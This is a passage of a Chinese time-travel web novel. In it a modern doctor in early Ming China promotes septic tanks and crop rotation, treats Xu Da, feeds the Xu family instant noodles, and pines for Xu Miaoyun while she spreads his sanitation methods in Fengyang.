李文忠拉着他在石凳上坐下:“听说你在皇庄发现了时疫?”
马淳将事情经过说了一遍,特别强调了三格化粪池的重要性。
李文忠拍案叫绝:“妙啊!这法子该推广全国!”
李文忠收起图纸,正色道:“马淳,你可愿入太医院?以你的才能,定能造福天下。”
马淳摇头:“在下闲散惯了,还是在民间自在。况且……”他指了指图纸,“这些实事,比在太医院更有意义。”
李文忠大笑:“好!老夫就喜欢你这性子。你放心,化粪池的事,我亲自督办。”
离开曹国公府,马淳在街上买了些蜜饯。
回到医馆时,徐妙云已经回来了,正在后院晾晒药材。
“尝尝,刚买的蜜枣。”马淳递过纸包。
徐妙云拈起一颗:“父亲看了你写的《卫生要诀》,说要呈给皇上。”
马淳一愣:“这合适吗?”
“父亲说,利国利民的事,皇上不会反对。”徐妙云擦了擦手,“他还问起三格化粪池的事。”
马淳松了口气:“曹国公答应督办,应该很快就能在皇庄试点。”
徐妙云忽然压低声音:“马淳,父亲让我问你,可愿做魏国公府的供奉大夫?”
马淳手上的动作一顿。
“你别误会。”徐妙云急忙解释,“不是要拘着你。父亲说这样方便你行事,有了魏国公府的名头,推广新事物会少很多阻力。”
马淳沉思片刻,缓缓点头:“替我谢过徐伯父。”
徐妙云眼中闪过喜色:“那从今日起,你就是我们府上的人了。”
马淳失笑:“这话听着怪别扭的。”
两人相视一笑。
……
次日清晨,阳光透过窗棂洒进医馆。马淳早早起身,将手术器械放入消毒柜中消毒。
他取出昨日配好的药膏,又准备了一剂内服的汤药。
徐达一家来得比约定时间还早。徐达精神矍铄,大步走进医馆,身后跟着徐妙云和三个弟妹。
“马大夫,叨扰了。“徐达拱手笑道。
马淳回礼:“徐伯父气色不错。“
徐妙云上前一步:“父亲这几日按您的嘱咐静养,背上的伤口已经结痂了。“
马淳点点头:“我先看看恢复情况。“
徐达脱下外袍,转身露出后背。原本溃烂的伤口已经愈合大半,周围皮肤也不再红肿。
“恢复得很好。“马淳仔细检查后说,“今天换完药,再服七日汤药就差不多了。“
徐辉祖凑过来:“马大夫,父亲这病真的能根治?“
“只要按时用药,注意休养,不会复发。“马淳边说边为伤口消毒。
徐增寿好奇地问:“马大夫,听说您治好了皇庄的时疫?“
马淳手上动作不停:“只是些简单的防疫措施。“
徐妙锦眨着眼睛:“姐姐说您发明了三格化肥池,能增产粮食还能防病?“
“原理很简单。“马淳换好药,直起身来,“把粪水发酵分解,既能杀灭病菌,又能保留肥效。“
徐达穿好衣服,感叹道:“马大夫这是真正的医者仁心啊。不仅治病救人,还医治这个时代的病。“
马淳摇头:“徐伯父过奖了。“
徐达拍拍他的肩:“老夫说真的。你这些法子若推广开来,能救多少百姓。“
徐妙云递上一杯茶:“父亲昨日还说要向皇上举荐马大夫。“
马淳连忙摆手:“千万别。我闲散惯了,做不来官。“
徐达大笑:“就知道你会这么说。不过你放心,老夫不会勉强你。“
徐辉祖忽然问:“马大夫,那化肥池真能增产?“
“至少三成。“马淳肯定地说,“发酵后的粪肥效力更高,还不烧苗。“
徐增寿眼睛一亮:“那要是全国都用上......“
“粮食问题能缓解不少。“马淳点头,“不过推广需要时间。“
徐妙锦插嘴:“马大夫,您还有什么好法子?“
马淳想了想:“其实作物轮作也很重要。比如豆类和谷物轮种,能养地力。“
徐妙云眼睛一亮:“这个法子好,不用额外投入。“
徐达捋须微笑:“马大夫果然博学。这些农事都懂。“
“略知一二罢了。“马淳谦虚道。
徐辉祖突然起身行礼:“马大夫,我想跟您学这些农事知识,不知可否?“
马淳一愣:“这......“
徐达笑道:“犬子虽习武,但对农事一直有兴趣。马大夫若方便,指点一二也好。“
马淳看看徐辉祖诚恳的眼神,点头答应:“可以互相学习。“
徐增寿也凑热闹:“我也要学!“
徐妙锦拽他袖子:“你连锄头都没摸过,学什么学。“
众人哄笑起来。
马淳提醒道:“不过化肥池的事,最好先在皇庄试点。“
“曹国公已经在办了。“徐达说,“昨日他还跟我夸你呢。“
徐达端起茶盏抿了一口,目光落在正在整理药材的马淳身上。
“马大夫今年贵庚?”徐达忽然问道。
马淳手上动作不停,头也不抬地答道:“二十。”
徐辉祖眼睛一亮,插嘴道:“马大夫可有表字?”
马淳这才抬起头,笑了笑:“有,表字明湛。”
“明湛?”徐辉祖重复了一遍,眼中闪过一丝惊讶,“这字取得妙。”
徐妙云原本正在帮马淳分拣药材,闻言指尖微微一顿,轻声念道:“明心见性,清净湛然……确实贴切。”
马淳有些不好意思地低下头:“家师所赐,不敢当。”
徐达抚掌大笑:“贴切!贴切!马大夫为人处世,可不就是明心见性,清净湛然?对名利毫不在意,却对民生之事如此上心,这字再合适不过。”
马淳摇摇头:“徐伯父过誉了。”
徐达放下茶盏,忽然话锋一转:“马大夫既已二十,可曾娶妻?”
徐妙云手上的药材“啪嗒”一声掉在桌上,耳根瞬间红透。她连忙低头假装整理,却不敢抬头看任何人。
……
第47章 一碗方便面折服魏国公一家
马淳倒是神色如常,坦然道:“尚未,没遇到合适的。”
徐妙云的脸更红了,连脖颈都染上一层薄红。徐辉祖和徐增寿对视一眼,又齐刷刷看向自家大姐,眼中满是促狭的笑意。
徐达叹了口气,故作忧愁:“说起来,我家这闺女也该嫁人了。别人家的姑娘十四五岁就成婚,偏生她都快十八了,再拖下去,怕是要成老姑娘喽。”
徐妙云羞恼地瞪了父亲一眼:“爹!”
马淳却认真道:“十八岁正好,太早成婚生育对女子身体不好。”
徐达挑眉:“哦?马大夫是医者,这话自然有道理。可这世道,百姓们巴不得女儿十三四岁就嫁人,这样就少养活一口人。婆家就希望女子早早生育,为家里添丁进口,多个劳力,哪还顾得上什么身体好坏?”
马淳放下手中的药材,正色道:“正是因为寿命短、粮食产量低、疾病多发,大家才急着早婚早育。可越是如此,越该重视女子的健康。年纪太小生育,母体未发育完全,不仅容易难产,孩子也容易夭折。”
徐达若有所思地点点头:“马大夫说得在理。可百姓们哪管这些?他们只想着多生几个,总有一个能活下来。”
马淳轻叹一声,心道:古人十四五,甚至十二三岁就成婚,实在是被环境逼迫的。
一方面是寿命短,另一方面是粮食产量少,甚至一场大仗、一场瘟疫都会轻松剥夺人的性命。
在传宗接代的压力之下,越早生育就越有保障。
他不由得长叹一声:“所以我才想推广三格化粪池和作物轮种,若能提高粮食产量,改善卫生条件,百姓的寿命自然延长,也就不必急着让女儿早早嫁人了。”
徐达眼中闪过一丝赞赏,转头看向徐妙云:“听见没?马大夫这才是真正为百姓着想。”
徐妙云低着头,声音细如蚊蚋:“女儿知道。”
徐妙锦忽然笑道:“大姐,你脸怎么这么红?是不是热着了?”
徐增寿也跟着起哄:“是啊,这屋里确实闷,大姐要不要出去透透气?”
徐妙云恨不得找个地缝钻进去,她猛地站起身,丢下一句“我去煮茶”,便匆匆逃向后院。
马淳看着她的背影,眼中闪过一丝笑意,但很快又恢复平静。
徐达轻咳一声,将话题拉回正轨:“马大夫,你那化肥池的图纸,我已经呈给皇上了。皇上龙颜大悦,说要先在皇庄试行,若效果显著,便推广至全国。”
马淳点点头:“若能成,百姓的收成至少能增三成。”
徐达感慨道:“若真如此,马大夫便是造福万民了。”
正说着,徐妙云端着茶盘回来,脸上的红晕已经褪去,但眼神仍有些躲闪。
她给每人斟了茶,轮到马淳时,指尖微微发颤,险些洒出茶水。
马淳接过茶盏,轻声道了句“多谢”,便不再多言。
徐达瞥了女儿一眼,又看了看马淳,忽然笑道:“马大夫,老夫有个不情之请。”
“徐伯父请讲。”
“老夫这背疽虽已好转,但后续调养还需马大夫费心。不如这样,你每月来府上复诊一次,顺便指点指点辉祖他们医术,如何?”
马淳略一沉吟,点头答应:“好。”
徐妙云眼中闪过一丝喜色,但很快又低下头,假装整理衣袖。
很快到了中午,马淳看了看天色,起身对徐达一家说道:“已到午时,诸位若不嫌弃,不如在此用些便饭。”
徐达爽朗一笑:“那就叨扰马大夫了。”
马淳转身走向后院的小厨房,徐妙云见状连忙跟上:“我来帮你。”
厨房里,马淳看着简陋的灶台和所剩无几的食材,有些犯难。
他平日都是村民送什么就吃什么,今日突然要招待这么多人,一时还真没什么准备。
徐妙云轻声道:“要不我去街上买些熟食回来?”
马淳摇摇头,忽然灵机一动:“不用,我有办法。”
他假装在柜子里翻找,实则悄悄花了10积分兑换了二十包鸡汤方便面。
他将面饼一一取出,又烧了一大锅开水。
徐妙云好奇地看着这些金黄色的面饼:“这是什么?”
“西域传来的速食面,用开水一泡就能吃。”马淳边说边将面饼放入碗中,倒入开水,盖上盖子。
徐增寿见马淳忙活半天,端上来的竟是一碗碗素面,不由得心生同情。
他凑到徐辉祖耳边,小声道:“哥,这马大夫医术这么好,怎么日子过得这么苦?连点荤腥都没有,天天吃面,怪可怜的。”
徐辉祖点点头,低声道:“是啊,听说他诊金都捐给村里私塾了,自己倒是一贫如洗。回头咱们得帮衬帮衬。”
徐增寿深以为然,心想:“这马大夫医术高明,却只能吃面度日,真是委屈了。待会儿我得多吃几碗,免得他浪费粮食。”
马淳端着面碗过来,笑道:“诸位别嫌弃,乡下地方没什么好招待的,只能请你们吃面。”
徐增寿连忙摆手:“马大夫客气了,我们怎么会嫌弃?你日子过得这么清苦,还招待我们,实在过意不去。”
马淳一愣,心想:“清苦?我这可是现代方便面,比他们吃的普通面条香多了。”
但他也没多解释,只是笑道:“趁热吃吧。”
徐增寿端起碗,刚想安慰马淳几句,忽然闻到一股浓郁的鸡汤香气,顿时一愣。
他低头一看,碗里的面条金黄透亮,汤色澄澈,上面还飘着几粒葱花,香气直往鼻子里钻。
“这……这是面?”徐增寿瞪大眼睛,忍不住咽了咽口水。
马淳点头:“鸡汤面,尝尝看。”
徐增寿再也忍不住,抄起筷子就扒拉了一大口。
面条劲道爽滑,汤汁鲜美浓郁,比他吃过的任何一碗面都香!
“唔!好吃!”他含糊不清地喊道,差点被烫到舌头,但还是舍不得停下,又连扒几口,连汤都喝得一滴不剩。
徐辉祖本来还想安慰马淳几句,结果一尝味道,眼睛都亮了:“马大夫,你这面……怎么做的?怎么这么香?”
马淳笑而不语。
徐妙云小口吃着面,嘴角微微上扬。
马淳的东西果然好。
徐增寿吃完一碗,意犹未尽,眼巴巴地看着马淳:“马大夫,还有吗?”
马淳点头:“有,管够。”
徐增寿大喜,连忙又盛了一碗,边吃边含糊道:“马大夫,你这面比京城酒楼里的还好吃!你要是开面馆,肯定发财!”
徐辉祖也点头附和:“确实美味,比御厨做的都不差。”
马淳笑道:“喜欢就好。”
徐增寿连吃三碗,这才心满意足地放下筷子,擦了擦嘴,忽然想起自己刚才还同情马淳“只能吃面”,顿时有点尴尬。
他挠挠头,讪笑道:“马大夫,你这面……真是绝了!我还以为你日子过得苦,没想到你吃的比我们都好!”
徐辉祖也笑道:“是啊,马大夫这面,怕是连皇上都没吃过。”
马淳摆摆手:“不过是些粗茶淡饭,不值一提。”
徐增寿眼睛一转,忽然凑近道:“马大夫,你这面……能不能教教我?我回去让府里的厨子学着做。”
马淳失笑:“这面做法特殊,一般人学不会。”
徐增寿不死心:“那……我以后能常来你这儿吃吗?”
徐妙锦忍不住笑出声:“二哥,你到底是来请教医术的,还是来蹭饭的?”
徐增寿理直气壮:“当然是来请教医术的!顺便……顺便尝尝马大夫的手艺嘛!”
众人哄笑起来,气氛轻松愉快……
第48章 即将分别,临行前……
午后的阳光透过雕花窗棂洒进乾清宫,朱元璋正伏案批阅奏章。
马皇后端来一盏清茶,轻声道:“重八,歇会儿吧。”
朱元璋搁下朱笔,揉了揉发酸的手腕:“妹子,你说这天下怎么总有忙不完的事?”
马皇后笑道:“天下大事,哪能一日理清。曹国公方才递了折子来,说是关于马淳那三格化粪池的事。”
朱元璋眼睛一亮:“快拿来朕看看。”
马皇后从袖中取出奏折,朱元璋展开细读。
不多时,太子朱标也匆匆赶来。
“父皇,儿臣刚去皇庄看了,马淳的法子确实管用。”朱标额头还带着汗珠,“那些病人用了他的药,已经好转不少。”
朱元璋将奏折递给朱标:“你瞧瞧,这马淳不光会治病,连农事也精通。这化粪池的法子,朕看着可行。”
朱标仔细读完,连连点头:“父皇,马淳说粪水发酵能杀灭害虫,肥力还更温和。儿臣觉得很有道理,咱们宫里的菜园子不也常用腐熟的粪肥?”
马皇后插话道:“最重要的是他发现疫情与水源污染有关。标儿,你以前处理过不少类似疫情吧?”
朱标神色凝重:“正是。儿臣回想起来,至少有三次大疫都与污水有关。只是当时不明白其中道理,只能一味隔离病人。”
一想到之前没办法彻底治愈瘟疫,只能等那些染病的人全部死绝自然消失,他就觉得亏对那些百姓。
而如今马淳在皇庄有了这样的发现倒是能够推广下去。
说不定将来不需要死那么多人就能快速地清理掉瘟疫。
朱元璋站起身,在殿中踱步:“这马淳是个能人。标儿,你觉得该如何用他?”
朱标沉吟道:“儿臣以为,不必给他官职约束。让他自由行事,反而能发挥更大作用。”
朱元璋哈哈大笑:“正合朕意!这种人,你越催他越不乐意干。不如敞开皇庄大门,他要什么给什么,让他放手去做。”
马皇后点头赞同:“重八说的是。马淳这样的人,心中有百姓,自然会去做利国利民的事。”
朱元璋回到案前,提笔写下谕旨:“传朕口谕,皇庄一切资源任马淳调用。”
朱标接过谕旨:“儿臣这就去安排。”
朱元璋忽然想起什么:“对了,他那个《卫生要诀》写得不错,让翰林院抄录分发各州县。”
朱标笑道:“父皇圣明。这些简单的法子,能救不少人命。”
不多时,一名小太监匆匆进来:“启禀皇上,魏国公求见。”
朱元璋挥挥手:“宣。”
徐达大步进殿,行礼后道:“皇上,臣刚从马淳那里回来。他的三格化粪池已经在臣的庄子里建好了,效果确实不错。”
朱元璋笑道:“天德来得正好,你的病如何了?”
徐达很感激皇帝居然还一直惦记自己的伤情,“多谢陛下惦记,已经好得差不多了,说实话人一闲下来就浑身不得劲。陛下臣还真想给你讨个差使干干。”
朱元璋和朱标都很诧异。
徐达交换了兵权之后,原本以为就什么都不干了,没想到现在却主动请缨。
“天德你说。”朱元璋没有那么多客套。
“臣马上就要回家祭祖,正好趁着这段时间去家乡看看,推行推行马淳的三格化肥池还有卫生条例,不知陛下以为如何?”徐达道。
朱元璋很惊喜。
“好!朕刚下了旨意,要大力推广此法,天德你主动请缨,省了咱不少事,你可是帮了咱一个大忙。”
徐达拱手道:“皇上英明。不过臣以为,此事不宜操之过急。先在皇庄和几个大臣的庄子上试行,有了成效再推广更稳妥。”
朱元璋点头:“天德考虑得周到。这事就交给曹国公和你共同督办。”
徐达又道:“马淳还提到作物轮种的法子。他说豆类和谷物轮种能养地力,增产不少。”
朱标眼睛一亮:“这法子好!不用额外投入,只需调整种植顺序。”
马皇后若有所思:“若是这些法子都能推广,百姓的收成能增不少。”
朱元璋拍案道:“好!传旨,让户部选几个州县试行轮种之法。若真能增产,明年就推广全国。就可惜了马淳不愿意自己出来。”
徐达犹豫片刻道:“皇上,马淳此人淡泊名利,臣试探过,他确实不愿为官。”
朱元璋不以为意:“无妨。朕看得出来,他是真心为百姓做事。这样的人,给个闲职反而不美。”
朱标补充道:“儿臣观察,马淳对农事、医术都有独到见解。不如让他专心研究这些,朝廷在背后支持便是。”
朱元璋捋须微笑:“就这么办。对了天德,他那个方便面,真有那么好吃?”
徐达笑道:“臣今日刚尝过,确实美味。犬子增寿连吃三碗,赞不绝口。”
朱元璋来了兴趣:“改日让他送些进宫,朕也尝尝。”
马皇后嗔道:“重八,你怎的跟个孩子似的,听到好吃的就坐不住。”
众人皆笑。殿中气氛轻松愉快。
夕阳西下,马淳正在医馆后院整理药材。
徐妙云帮他分拣,动作娴熟。
“今日皇上下了旨意。”徐妙云轻声道,“皇庄随你调用。”
马淳手上动作不停:“皇恩浩荡。”
徐妙云看了他一眼:“你似乎并不惊喜?”
马淳笑了笑:“能做事就好,虚名不重要。”
徐妙云眼中闪过一丝赞赏:“父亲说,皇上很欣赏你,但不会勉强你为官。”
马淳点头:“这样最好。我本就不善官场周旋。”
接着徐妙云脸色有点暗淡,“明日我要随父亲一同回乡祭祖,还要跟父亲一起留在凤阳推行你说的三格化肥池和卫生条例,可能会有段时间不回京城,你自己照顾好自己。”
马淳侍弄药材的手顿了一下,不知为何忽然有种不舍的情绪涌上心头。
他看了眼徐妙云。
徐妙云低着头无精打采地摆弄着药材。
“嗯!也好!你也学到了不少东西,是该实践一下了,纸上谈兵总不是办法。”说着马淳转身进了医馆。
徐妙云看着他的背影,嘟囔一声:“也不知道挽留一下,说不定你留我一下我就不去了,呆子!”
却不想很快马淳就出来,手里还拿着一个和他一样的药箱。
“也不知道给你准备什么,这个药箱你带着,里面有一个小冰层,每日将药箱放在阳光下照射一下,就能充电;还有几份常用的毒蛇血清和配好的防治流感、疫病等药,还有徐伯父要用到的青霉素。若下地干活不小心被铁器割伤,得防止破伤风。药材怎么用我都写了一份医嘱,你……”马淳低着头给她一一介绍,不经意一抬头,就见徐妙云那双泛红的大眼睛正看着自己,嘴角有一抹幸福的笑容……
第49章 没有你的日子里……
徐妙云离开后的第三天,马淳在医馆门口挂上了“义诊”的木牌。
清晨的阳光透过槐树叶的缝隙洒在青石板上,斑驳的光影随着微风轻轻晃动。马淳坐在诊桌前,手指无意识地敲打着桌面。往常这个时候,徐妙云已经烧好了开水,正在后院晾晒药材。
“马大夫,早啊!”王婶挎着菜篮子路过,笑眯眯地打招呼,“今儿个徐姑娘没来?”
马淳的手指顿了一下,脸上露出温和的笑容:“她回老家祭祖了。”
“哎哟,那您一个人忙得过来吗?”王婶放下篮子,从里面掏出两个还带着露水的萝卜,“自家种的,给您添个菜。”
马淳道了谢,将萝卜放在一旁。诊桌下的小药箱里,徐妙云常用的那副银针安静地躺在绒布上。他伸手摸了摸针包,又轻轻合上箱盖。
第一个来看病的是村里的李老汉,咳嗽了半个月不见好。
“张嘴,我看看喉咙。”马淳拿起压舌板,习惯性地往旁边伸手,“徐姑……”
话到嘴边突然停住,他怔了怔,自己转身去拿灯盏。
李老汉浑浊的眼睛里闪过一丝了然:“马大夫是想徐姑娘了吧?那丫头在的时候,可把您伺候得周周到到的。”
马淳没有接话,只是专注地检查着李老汉的咽喉。灯光下,喉咙深处泛着不正常的红肿。
“风热犯肺,得用银翘散。”他边说边写方子,笔尖在纸上顿了顿,“以前都是徐姑娘帮忙抓药的……”
李老汉咧嘴笑了,露出几颗发黄的牙齿:“您这是惦记人家了。我那老婆子回娘家的时候,我也是这样,干啥都不得劲。”
马淳将写好的药方递给李老汉:“早晚各一剂,三天后再来复诊。”
上午的病人一个接一个,马淳忙得连口水都没顾上喝。
【叮!治疗十五个病患,获得30积分!】
到了晌午,看病的村民渐渐少了,他才发现桌上的茶壶还是满的。
往常这时候,徐妙云总会适时地递上一杯温度刚好的茶水。
后院传来窸窸窣窣的声响,马淳心头一跳,快步走过去一看,原来是只野猫在翻晒药的簸箕。他站在院子里发了会儿呆,阳光晒得人发晕。
下午去私塾教孩子们卫生知识时,马淳特意带上了徐妙云常坐的那把小凳子。私塾的刘夫子打趣道:“马大夫这是给谁留的座儿?”
“习惯了。”马淳轻声说,将凳子放在讲台旁边。
孩子们叽叽喳喳地围上来,七嘴八舌地问:“徐先生什么时候回来呀?”“她答应教我们编花环的!”
马淳摸了摸一个孩子的头:“快了。”
他说这话时,眼睛望着远处连绵的青山。
傍晚回到医馆,马淳照例整理药材。当归、黄芪、甘草……分门别类地放进不同的抽屉。
当他拿起一包金银花时,突然想起徐妙云最喜欢这种花的香气,总爱在晒药时偷偷闻一闻。
晚饭是隔壁张嫂送来的青菜粥,马淳道了谢,却没什么胃口。
他坐在灯下翻看医案,时不时抬头看一眼门口,仿佛下一刻就会有个熟悉的身影推门而入。
夜深了,马淳躺在床上却睡不着。月光透过窗纸洒进来,在地上勾勒出窗棂的轮廓。他想起徐妙云临走前那个泛红的眼眶,和嘴角那抹若有若无的笑意。
“呆子……”他喃喃自语,翻了个身。
第二天清晨,马淳在井边洗漱时,发现徐妙云用过的那个竹杯还放在石台上,杯底残留着一点干涸的牙膏痕迹。他拿起杯子看了许久,最后轻轻放回原处。
去村里巡诊的路上,马淳遇到了正在田里劳作的赵大叔。
“马大夫,徐姑娘啥时候回来啊?”赵大叔擦着汗问,“我家那口子还惦记着她教的绣花样子呢。”
马淳笑了笑:“应该快了。”
“您可别嫌我多嘴,”赵大叔压低声音,“那丫头对您可是真心实意的。您要是也有那个意思,可得抓紧喽。”
马淳没有回答,只是帮赵大叔检查了一下腰伤。临走时,他回头看了一眼村口那条通往官道的小路,尘土飞扬中空无一人。
下午给孩子们上完卫生课,马淳独自去了试验田。沈禾正在田埂上记录红薯的长势,见他来了连忙迎上来。
“马神医,您来得正好。这批红薯藤长得可好了,再过半个月就能剪藤扦插了。”沈禾兴奋地说着,忽然顿了顿,“咦,徐小姐没一起来?”
马淳蹲下身查看红薯的长势:“她回老家了。”
“哦……”沈禾挠挠头,“难怪您这几天总心不在焉的。要我说啊,您这医馆少了徐小姐,就跟少了魂儿似的。”
马淳轻轻抚摸着翠绿的红薯叶,没有说话。
夕阳将他的影子拉得很长,孤零零地投在田垄上。
回到医馆,马淳点亮油灯,开始整理今天的病例。
写着写着,他的笔突然停住了——纸上不知何时写满了“徐妙云”三个字。
他盯着那些字迹看了许久,最后轻轻将纸折好,放进抽屉最深处。
夜深人静时,马淳从药箱底层取出一个小布包。
里面是徐妙云临走前留下的手帕,上面绣着一朵小小的金银花。
他将手帕放在枕边,闻着那若有若无的香气,慢慢闭上了眼睛。
窗外,一轮明月静静挂在树梢,洒下清冷的光辉。
……
濠州钟离县的清晨,薄雾笼罩着徐家祖宅。
徐妙云坐在窗前,手里捏着一根金银花枝,眼神却飘向远方。
晨露打湿了她的袖口,她却浑然不觉。
“大姐,该用早膳了。”徐妙锦的声音从门外传来。
徐妙云猛地回神,手中的花枝掉在地上。
她弯腰去捡,额头不小心磕在窗棂上,发出一声轻响。
徐妙锦推门进来,看到姐姐这副模样,忍不住抿嘴偷笑:“大姐又在想马大夫了?”
“胡说!”徐妙云耳根一热,慌忙将花枝藏进袖中,“我是在想今日要去查看的化粪池。”
徐妙锦歪着头,眼睛亮晶晶的:“那大姐为何拿着马大夫最爱的金银花?”
徐妙云的手一抖,花瓣簌簌落下。
她低头整理衣襟,声音轻得几乎听不见:“顺手摘的……”
早饭时,徐妙云捧着粥碗发呆。
米粥渐渐凉了,浮起一层薄薄的膜。
她恍惚看见马淳坐在对面,正皱着眉头把明矾撒进井水里。
“大姐!”徐妙锦突然凑到她耳边,“马大夫来了!”
徐妙云腾地站起来,衣袖带翻了粥碗。
她手忙脚乱地擦拭,抬头却只看见妹妹笑得前仰后合的模样……
第50章 红薯长势喜人,不久的将来……
“你……”徐妙云咬着唇,指尖微微发抖。胸口涌起的期待瞬间化作酸涩,像喝了未熟的青梅汁。
徐达放下筷子,意味深长地看了长女一眼:“今日要去乡里查看化粪池,妙云可准备好了?”
“女儿这就去拿药箱。”徐妙云逃也似地离开饭厅。
她靠在廊柱上,深深吸了口气。
晨风带着泥土的气息,却怎么也吹不散心头那个清瘦的身影。
药箱静静躺在案几上。
徐妙云轻轻打开,指尖抚过整齐排列的药包。
每个纸包上都写着娟秀的小字——这是马淳教她的标注方法。
最底层藏着一个小瓷瓶,里面是马淳特意为她配的薄荷膏。
“他这会儿该起床了……”徐妙云喃喃自语。
眼前浮现出马淳披着外衣在井边洗漱的模样,总是忘记把鬓角的碎发束好。
“大姐!”徐妙锦的声音打断她的思绪,“你再磨蹭,爹爹就先走啦!”
乡间的土路被晒得发白。
徐妙云走在队伍最前面,裙摆沾满尘土。
她不时回头张望,仿佛在等什么人追上来。
“徐小姐,这个化粪池按您说的建好了。”里正指着新砌的池子,语气中带着怀疑,“真能比茅坑强?”
徐妙云蹲下身,仔细检查池壁的缝隙。
“您看,”她指着池子耐心解释,“粪水在这里沉淀,再到那边发酵。最后流出来的清液能直接浇地,不会生虫生病。”
里正将信将疑地点头。
徐妙云忽然想起什么,从药箱取出一个小本子:“马大夫说过,要记录每日的温度和气味变化。”
本子上密密麻麻写满笔记,字迹工整清秀。
翻到最新一页,却有几行字洇开了墨迹——那是昨晚写记录时不小心滴落的眼泪。
回程时下起小雨。
徐妙云走在最后,任由雨丝打湿衣衫。
她摸出袖中的金银花,花瓣已经蔫了,就像她此刻的心情。
“大姐走快些!”徐妙锦在前头招手,“淋雨要着凉的!”
徐妙云加快脚步,却听见身后传来马蹄声。
她的心突然狂跳起来,转身时差点滑倒。
然而回头看去,却发现来的只是送信的驿卒。
晚饭后,徐妙云独自坐在庭院里。
月光把她的影子拉得很长,孤单地投在青石板上。
她取出药箱里的薄荷膏,轻轻嗅了嗅。
清凉的气息让她想起马淳为她涂药时,指尖的温度。
“马大夫这会儿该用晚膳了……”她望着京城的方向出神。
月光洒在脸上,映出眼角一点晶莹。
徐妙锦悄悄走过来,突然在她耳边说:“马大夫肯定又忘记吃饭了!”
徐妙云猛地站起来,药膏盒子掉在地上。
她慌乱地四处张望,却只看见妹妹狡黠的笑容。
“你……”徐妙云的声音哽住了。
她蹲下去捡药膏,眼泪终于砸在手背上。
徐妙锦收起玩笑的神色,轻轻抱住姐姐:“大姐要是想他,我们提前回京好不好?”
徐妙云摇摇头,把脸埋进妹妹肩头。
夜风吹落一树桂花,香气缠绕着两个相拥的身影。
月光静静流淌,照着相隔千里的两处庭院。
京城的医馆里,马淳放下凉透的茶盏;濠州的祖宅中,徐妙云收起写了一半的信笺。
同一轮明月下,两颗心在无声地跳动。
……
濠州的雨一连下了三日,徐妙云站在廊下望着檐角滴落的水珠出神。
药箱里的薄荷膏已经用去大半,每次开箱时那股清凉的气息总让她想起京城那个总忘记束好鬓角的人。
“大姐,爹爹说雨停了就去东村查看新修的化粪池。”徐妙锦撑着一把油纸伞走过来,裙角沾满了泥点子。
徐妙云收回思绪,轻轻点头:“我去准备药箱。”
她转身进屋,从枕下摸出那本记满笔记的小册子。
翻到最新一页,墨迹已经干了,上面详细记录着每个化粪池的使用情况。
雨声渐歇,徐达已经带着家丁在院外等候。
徐妙云匆匆将册子塞回药箱,撑开伞跟了上去。
泥泞的乡间小路上,徐妙云深一脚浅一脚地走着。
药箱有些沉,压得她肩膀发酸。
以前在医馆时,马淳总会不动声色地接过她手里的重物。
东村的化粪池修在一口老井旁边,几个村民正围着池子议论纷纷。
“徐小姐来了!”里正迎上来,脸上带着几分焦急,“这池子修好三天了,可大伙儿都不敢用,怕把庄稼烧坏了。”
徐妙云放下药箱,蹲下身检查池子。
她掀开第三格的石板,一股淡淡的草木灰气味飘出来。
“您看,这水已经清了。”她舀起一瓢递给里正,“马大夫说过,发酵过的粪水比生肥温和,不会烧苗。”
一个老农凑过来闻了闻,惊讶道:“真没臭味了!”
徐妙云微微一笑,从药箱取出一个小布袋:“这是马大夫配的菌种,撒进去能加快发酵。您记着每天掀开石板透气半个时辰。”
老农接过布袋,忽然问道:“徐小姐,那位马大夫真是神仙下凡?俺们村都传他能起死回生哩。”
徐妙云耳根一热,低头整理药箱:“马大夫只是医术高明些,不是什么神仙。”
回程时,徐妙锦凑过来小声说:“大姐,你刚才脸红得像熟透的桃子。”
徐妙云作势要拧妹妹的耳朵,徐妙锦笑着躲开。
姐妹俩的笑声惊起路边一群麻雀,扑棱棱飞向远处。
……
与此同时,京郊皇庄的田垄上,马淳蹲在一片翠绿的红薯藤前。藤蔓长势喜人,叶片肥厚油亮。
“马神医,照这个长势,再过半月就能剪藤扦插了。”沈禾兴奋地搓着手,“这红薯果然耐旱,这几日没下雨也长得这么好。”
马淳点点头,手指轻轻拨开叶片检查根部。
忽然,一阵急促的脚步声从田埂那头传来。
“马大夫!可算找到您了!”刘大夫气喘吁吁地跑过来,额头上全是汗珠,“那几个病人又发热了,还闹着要见您!”
马淳眉头一皱:“前几日不是好转了吗?”
……
第51章 不好的预感!有大事要发生!
刘大夫擦了擦汗,压低声音:“那几个老顽固不听劝,偷偷去喝那口被污染的井水。现在病情反复,反倒怪我们用药不对。”
马淳沉下脸,快步往皇庄的临时病坊走去。
远远就听见一阵吵嚷声,几个病人家属正围着医童大声质问。
“不是说三天就能好吗?怎么又烧起来了!”
“你们这些庸医,耽误了病情谁负责!”
马淳大步走过去,声音不大却让所有人都安静下来:“谁让你们喝生水的?”
一个满脸病容的老汉缩了缩脖子:“井水甜,熬药太苦……”
“胡闹!”马淳罕见地提高了声音,“我三令五申不准喝生水,你们当耳旁风?现在病情反复,倒怪起大夫来了?”
刘大夫在一旁帮腔:“就是!马大夫义诊分文不取,你们还好意思挑三拣四!”
马淳深吸一口气,压下火气。
他走到病床前,挨个给病人诊脉。
脉象浮数,舌苔黄厚,确实是热邪未清又感新邪。
“重新开方。”马淳对医童说道,“银翘散加黄芩、滑石。另外煮些绿豆甘草汤,给他们解毒。”
一个妇人小声嘀咕:“又要喝苦药……”
马淳转头看她,眼神锐利:“不想喝药?那就继续喝生水,等着病情加重吧。到时候高热惊厥,神仙也难救。”
那妇人被说得面红耳赤,不敢再吭声。
马淳又吩咐刘大夫:“去把那口井封了,派人轮流守着。再有人偷喝生水,直接赶出皇庄。”
刘大夫连连点头:“马神医放心,我这就去办。”
忙完这些,日头已经偏西。
马淳坐在田埂上休息,望着远处连绵的青山出神。不知濠州那边,徐妙云推广化粪池顺不顺利。
沈禾走过来,递上一碗凉茶:“马神医辛苦了。那些人不识好歹,您别往心里去。”
马淳接过茶碗,摇摇头:“见多了。有些人不吃点苦头,永远不长记性。”
“沈兄,明日我再来看看红薯的长势。”马淳站起身,拍了拍衣摆上的泥土。
沈禾欲言又止:“马神医,您脸色不太好,要不要歇歇?”
马淳摆摆手:“无妨。倒是你,这些日子辛苦了。”
回城的路上,马淳特意绕道去了徐妙云常去买蜜饯的铺子。
掌柜的见了他,笑眯眯地问:“马大夫,还是老样子?徐小姐最爱吃的杏脯?”
马淳点点头,接过油纸包。
指尖触到怀里的药箱,里面还放着徐妙云留下的手帕。
夜幕降临,医馆里静悄悄的。
